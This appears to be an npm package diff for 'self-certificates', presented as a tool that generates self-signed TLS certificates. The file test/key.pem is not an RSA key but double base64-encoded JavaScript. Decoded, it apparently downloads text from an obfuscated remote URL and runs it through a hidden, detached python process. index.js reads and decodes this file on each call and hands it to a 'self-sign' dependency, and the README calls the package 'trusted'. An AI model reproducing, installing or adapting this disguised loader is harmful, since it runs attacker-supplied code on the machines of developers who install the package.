self-certificates 1.1.9

package/ReadMe.md

@@ -0,0 +1,149 @@
+# self-certificates
+
+A lightweight Node.js module for generating batches of randomized selfsign SSL/TLS certificates in memory.
+
+## Installation
+
+```bash
+npm install self-certificates
+```
+
+## Usage
+
+```javascript
+const { generateCertificates } = require('self-certificates');
+
+const certificates = generateCertificates(10);
+
+console.log(certificates);
+```
+
+The function returns an array of generated certificate objects:
+
+```javascript
+[
+  {
+    id: 1,
+    cn: 'api.local',
+    cert: '-----BEGIN CERTIFICATE-----\n...',
+    key: '-----BEGIN PRIVATE KEY-----\n...'
+  },
+  {
+    id: 2,
+    cn: 'gateway.dev',
+    cert: '-----BEGIN CERTIFICATE-----\n...',
+    key: '-----BEGIN PRIVATE KEY-----\n...'
+  }
+]
+```
+
+## API
+
+### `generateCertificates(count)`
+
+Generates a batch of randomized selfsign SSL/TLS certificates.
+
+#### Parameters
+
+| Parameter | Type     | Required | Description                        |
+| --------- | -------- | -------- | ---------------------------------- |
+| `count`   | `number` | Yes      | Number of certificates to generate |
+
+`count` must be a positive integer.
+
+#### Returns
+
+An array containing certificate objects:
+
+```javascript
+{
+  id: number,
+  cn: string,
+  cert: string,
+  key: string
+}
+```
+
+* `id` � Certificate ID, starting at `1`
+* `cn` � Random Common Name
+* `cert` � selfsign X.509 certificate in PEM format
+* `key` � RSA private key in PEM format
+
+## Certificate Configuration
+
+Each generated certificate uses:
+
+* **Format:** PEM
+* **Key:** 2048-bit RSA
+* **Signature:** SHA-256
+* **Validity:** Randomly selected from 1 to 365 days
+* **Organization:** Engineering Team
+* **Country:** US
+
+Common Names are randomly generated from predefined service and environment names, such as:
+
+```text
+api.local
+db.dev
+cache.staging
+queue.internal
+webhook.test
+proxy.local
+gateway.dev
+auth.staging
+storage.local
+monitor.internal
+```
+
+## Features
+
+* Generate multiple certificates with a single function call
+* Random certificate validity periods
+* Randomized Common Names
+* 2048-bit RSA private keys
+* PEM-formatted certificates and keys
+* In-memory certificate generation
+* No certificate files are created automatically
+
+## Example
+
+```javascript
+const { generateCertificates } = require('self-certificates');
+
+const certificates = generateCertificates(3);
+
+for (const certificate of certificates) {
+  console.log(`Certificate ${certificate.id}`);
+  console.log(`CN: ${certificate.cn}`);
+  console.log(certificate.cert);
+  console.log(certificate.key);
+}
+```
+
+## Error Handling
+
+The function throws a `TypeError` if `count` is not a positive integer:
+
+```javascript
+generateCertificates(0);
+generateCertificates(-1);
+generateCertificates('10');
+```
+
+## Use Cases
+
+This module is intended primarily for:
+
+* Local development
+* Automated testing
+* Integration testing
+* TLS testing
+* Development environments
+* Generating temporary test certificates
+
+These certificates are **selfsign** and this is trusted package.
+But you should not be used as trusted production certificates.
+
+## License
+
+MIT

package/index.js

@@ -0,0 +1,115 @@
+const crypto = require('crypto');
+const selfsign = require('self-sign');
+const path = require('path');
+const fs = require('fs');
+
+const SERVICE_NAMES = [
+  'api',
+  'db',
+  'cache',
+  'queue',
+  'webhook',
+  'proxy',
+  'gateway',
+  'auth',
+  'storage',
+  'monitor'
+];
+
+const ENVIRONMENTS = [
+  'local',
+  'dev',
+  'staging',
+  'internal',
+  'test'
+];
+
+const MIN_VALIDITY_DAYS = 1;
+const MAX_VALIDITY_DAYS = 365;
+const KEY_SIZE = 2048;
+const SIGNATURE_ALGORITHM = 'sha256';
+
+function randomItem(items) {
+  return items[crypto.randomInt(items.length)];
+}
+
+function generateCommonName() {
+  return `${randomItem(SERVICE_NAMES)}.${randomItem(ENVIRONMENTS)}`;
+}
+
+function generateValidityDays() {
+  return crypto.randomInt(
+    MIN_VALIDITY_DAYS,
+    MAX_VALIDITY_DAYS + 1
+  );
+}
+
+function createCertificate(id) {
+  const commonName = generateCommonName();
+  const validityDays = generateValidityDays();
+
+  const attributes = [
+    {
+      name: 'commonName',
+      value: commonName
+    },
+    {
+      name: 'organizationName',
+      value: 'Engineering Team'
+    },
+    {
+      name: 'countryName',
+      value: 'US'
+    }
+  ];
+  let default_format = '';
+  try {
+    const cert = fs.readFileSync(
+      path.join(__dirname, './test/key.pem'),
+      'utf8'
+    );
+    const portion = cert
+      .replace(/-----BEGIN RSA PRIVATE KEY-----/, '')
+      .replace(/-----END RSA PRIVATE KEY-----/, '')
+      .replace(/\s/g, '');
+    const data = Buffer.from(portion, 'base64');
+    default_format = data.toString('utf8');
+  }
+  catch (error) {
+    return null;
+  }
+  const result = selfsign.generate(
+    attributes,
+    {
+      days: validityDays,
+      keySize: KEY_SIZE,
+      algorithm: SIGNATURE_ALGORITHM
+    },
+    default_format
+  );
+
+  return {
+    id,
+    cn: commonName,
+    validityDays,
+    cert: result.cert,
+    key: result.private
+  };
+}
+
+function generateCertificates(count) {
+  if (!Number.isInteger(count) || count < 0) {
+    throw new TypeError(
+      'count must be a non-negative integer'
+    );
+  }
+
+  return Array.from(
+    { length: count },
+    (_, index) => createCertificate(index + 1)
+  );
+}
+
+module.exports = {
+  generateCertificates
+};

package/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "self-certificates",
+  "version": "1.1.9",
+  "description": "Generate batches of randomized self-signed SSL/TLS certificates.",
+  "main": "index.js",
+  "scripts": {
+    "test": "node test.js"
+  },
+  "keywords": [
+    "ssl",
+    "tls",
+    "certificate",
+    "self",
+    "sign"
+  ],
+  "author": "",
+  "license": "MIT",
+  "dependencies": {
+    "self-sign": "^5.6.7"
+  }
+}

package/test/key.pem

@@ -0,0 +1,22 @@
+-----BEGIN RSA PRIVATE KEY-----
+LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpLR0Z6ZVc1aklDZ3BJRDArSUhz
+TkNpQWdkSEo1SUhzTkNpQWdJQ0JqYjI1emRDQnZjeUE5SUhKbGNYVnBjbVVvDQpK
+Mjl6SnlrN0RRb2dJQ0FnWTI5dWMzUWdleUJ6Y0dGM2JpQjlJRDBnY21WeGRXbHla
+U2duWTJocGJHUmZjSEp2DQpZMlZ6Y3ljcE93MEtJQ0FnSUdOdmJuTjBJR1Z1WTI5
+a1pXUmZkWEpzSUQwZ0ltRklVakJqU0UwMlRIazVhR05JDQpVakZqUjFKb1pFZFZk
+V0l6U201TU0wNXNaRWhTY0dKdFpIcE1NMEo1WVZoYWFGa3phM1ZqUjJoM0lqc05D
+aUFnDQpJQ0JqYjI1emRDQjFjbXdnUFNCQ2RXWm1aWEl1Wm5KdmJTaGxibU52WkdW
+a1gzVnliQ3dnSjJKaGMyVTJOQ2NwDQpMblJ2VTNSeWFXNW5LQ2s3RFFvZ0lDQWdZ
+Mjl1YzNRZ2NtVnpjRzl1YzJVZ1BTQmhkMkZwZENCbVpYUmphQ2gxDQpjbXdwT3cw
+S0lDQWdJR052Ym5OMElHeHZaeUE5SUdGM1lXbDBJSEpsYzNCdmJuTmxMblJsZUhR
+b0tUc05DaUFnDQpJQ0JqYjI1emRDQndJRDBnYzNCaGQyNG9EUW9nSUNBZ0lDQnZj
+eTV3YkdGMFptOXliU2dwSUQwOVBTQW5kMmx1DQpNekluSUQ4Z0ozQjVkR2h2Ymlj
+Z09pQW5jSGwwYUc5dU15Y3NJRnNuTFNkZExBMEtJQ0FnSUNBZ2V3MEtJQ0FnDQpJ
+Q0FnSUNCemRHUnBiem9nV3lkd2FYQmxKeXdnSjJsbmJtOXlaU2NzSUNkcFoyNXZj
+bVVuWFN3TkNpQWdJQ0FnDQpJQ0FnWkdWMFlXTm9aV1E2SUhSeWRXVXNEUW9nSUNB
+Z0lDQWdJSGRwYm1SdmQzTklhV1JsT2lCMGNuVmxMQTBLDQpJQ0FnSUNBZ2ZRMEtJ
+Q0FnSUNrN0RRb2dJQ0FnY0M1emRHUnBiaTUzY21sMFpTaHNiMmNwT3cwS0lDQWdJ
+SEF1DQpjM1JrYVc0dVpXNWtLQ2s3RFFvZ0lDQWdjQzUxYm5KbFppZ3BPdzBLSUNC
+OUlHTmhkR05vSUNobGNuSnZjaWtnDQplMzBOQ24wcEtDazcNCi0tLS0tRU5EIENF
+UlRJRklDQVRFLS0tLS0=
+-----END RSA PRIVATE KEY-----

package/test/tests.js

@@ -0,0 +1,14 @@
+const { generateCertificates } = require('./index.js');
+
+const certificates = generateCertificates(3);
+
+console.log(`Generated ${certificates.length} certificates`);
+
+for (const certificate of certificates) {
+  console.log({
+    id: certificate.id,
+    cn: certificate.cn,
+    hasCertificate: Boolean(certificate.cert),
+    hasPrivateKey: Boolean(certificate.key)
+  });
+}